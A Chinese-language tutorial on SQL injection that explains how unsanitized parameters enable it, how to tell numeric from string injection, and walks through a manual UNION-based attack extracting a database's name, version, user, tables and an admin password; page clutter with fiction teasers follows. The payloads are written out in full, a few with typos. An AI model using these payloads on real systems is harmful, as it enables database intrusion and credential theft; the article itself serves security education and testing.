SQL注入详解

本文首发于:行者AI

现在大多数系统都使用B/S架构,出于安全考虑需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往会出现安全隐患,为了更好的保护数据泄露或服务器安全,为了方便的安全测试,便编写此文。

1. SQL注入简介

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。下面以PHP语句为例作为展示:

query=" SELECT*FROM users WHERE id=_GET ['id'] ";

由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。

当然,SQL注入主要原因是程序员在开发用户和数据库的系统时没有对用户输入的字符串进行过滤、转义、限制或处理不严谨,导致攻击者可以通过精心构造的字符串去非法获取到数据库中的数据。

1.1 SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件:

(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。

(2)参数带入数据库查询:传入的参数拼接到SQL语句,且带入参数库查询。``

数字型注入

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:

(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3’;

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面没有差异;

(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;

如果满足以上三点,则可以判断该URL存在数字型注入。

字符型注入

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

例如数字型语句:select * from table where id =3;

则字符型如下:select * from table where name=’admin’;

因此,在构造payload时通过闭合单引号可以成功执行语句。

测试步骤:

(1) 加单引号:select * from table where name=’admin’’;

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;

因此,构造语句为:select * from table where name =’admin’ and 1=--’ 可成功执行返回结果正确;

(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2--’则会报错;

如果满足以上三点,可以判断该url为字符型注入。

2. SQL注入之手工演示

手工SQL注入过程中,数据库执行的语句,是页面提交至服务器应用程序,应用程序获取id的值,然后把值拼接到查询语句中,在到数据库中查询,通过程序解析后,把结果返回在页面上。

2.1 寻找注入点

image

页面提交:xxx.xxx.xxx.xxx?id=1。
数据库执行语句:select * from news where id=1。
页面返回描述:返回内容正常。
分析解说:正常浏览页面,找到有参数的地方,如id。

2.2 判断注入点

image

页面提交:xxx.xxx.xxx.xxx?id=1?id=1 and 1=1。
数据库执行语句:select * from news where id=1 and 1=1。
页面返回描述:返回内容正常。
分析解说:测试SQL语句。

2.3 测试是否存在注入

image

页面提交:xxx.xxx.xxx.xxx?id=1?id=1 and 1=2。
数据库执行语句:select * from news where id=1 and 1=2。
页面返回描述:返回内容出错,只显示底部内容,且无法滑动。
分析解说:因为sql语句中,1=2不成立,因此确定存在注入。

2.4 判断字段

image

页面提交:xxx.xxx.xxx.xxx?id=1?id=1 order by 3。
数据库执行语句:select * from news where id=1 order by 3。
页面返回描述:可以通过 order by N 来判断字段,我这里是用到order by 3时,页面返回了错误。
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容异常,可以确定至少有2个字段。

2.5 判断显示的字段

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 1,2。
数据库执行语句:select * from news where id=1 and 1=2 union select 1,2,。
页面返回描述:在页面底部位置显示为2。
分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示内容时候的查询字段。

2.6 判断数据库

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,database()。
数据库执行语句:select * from news where id=1 and 1=2 union select 2,database()。
页面返回描述:在底部位置显示为maoshe。
分析解说:SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,这里内容显示在第2位置上,maoshe为数据库。

2.7 判断数据库的版本

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,version()。
数据库执行语句:select * from news where id=1 and 1=2 union select 2,version()。
页面返回描述:在底部位置显示为maoshe。
分析解说:SQL语句中version()是查询当前MySQL的版本(语法:select version();),这里内容显示在第2位置上,说明版本为MYSQL 5.5.53。

2.8 查询当前数据库的用户

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,user()。
数据库执行语句:select * from news where id=1 and 1=2 union select 2,user()。
页面返回描述:在底部位置显示为maoshe@localhost。
分析解说:SQL语句中user()是查询当前MySQL的用户(语法:select user();),这里内容显示在第2位置上,说明版本为MYSQL的用户为 maoshe@localhost。

2.9 查询数据表

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,table_name finformation_schema.tables where table_schema=database()。
数据库执行语句:select * from news where id=1 and 1=2 union select 2,table_name finformation_schema.tables where table_schema=database()。
页面返回描述:在底部位置显示为admin。
分析解说:这里内容显示在第2位置上,说明数据库maoshe里面有个表的名称是admin。

2.10 根据数据表查询用户名

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,username from admin。
数据库执行语句:select * from news where id=1 and 1=2 union select 2,username from admin。
页面返回描述:在底部位置显示为admin。
分析解说:在知道数据表的情况下,可以根据对应的表查询到对应的字段,因此此次查询到的用户名称为admin 。

2.11 查询用户名的密码

image

页面提交:xxx.xxx.xxx.xxx?id=1 and 1=2 union select 2,password from admin。
数据库执行语句:select * from news where id=1 and 1=2 union select 2,password from admin。
页面返回描述:在底部位置显示的为密码hellohack。
分析解说:在知道数据表的情况下,可以根据对应的表查询到对应的字段,因此此次查询到的用户密码为hellohack。

3. 总结

想要真正熟练SQL注入,那么SQL语言就是基础,只有明白各种查询语句,我们才能更好的去利用SQL注入漏洞,判别其数据库类型和各种数据的获取。SQL注入远不止于此,它拥有各种层出不穷的注入类型和各种绕过防护注入技术。因此,本文章目的是基于安全测试,能够让大家更清楚的了解SQL注入原理,检测系统的安全性。最后,值得注意的是未经授权尝试注入他人系统是违法行为,我们所拥有的技术是用来防御和测试的。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容

  • 前言 没实例,纯粹抛砖引玉,大牛请飘过~这个系列很久没更新了,惭愧。 自动挖掘 自动挖掘主要是基于工具的一种方式,...
    正直少女鹿衔草阅读 910评论 0 1
  • 前言:SQL注入漏洞从1998年圣诞节大火以来,长盛不衰,虽然开发人员想出各种方法对它进行围追堵截,却始终不能赶尽...
    正直少女鹿衔草阅读 733评论 0 0
  • SQL注入是一种常见的web攻击方式,主要是利用后端程序的漏洞,主要针对的是数据(以传统关系型数据为主)进行攻击。...
    轻语阁阅读 477评论 0 0
  • 什么是SQL? SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。...
    RainClv阅读 630评论 0 1
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,520评论 28 53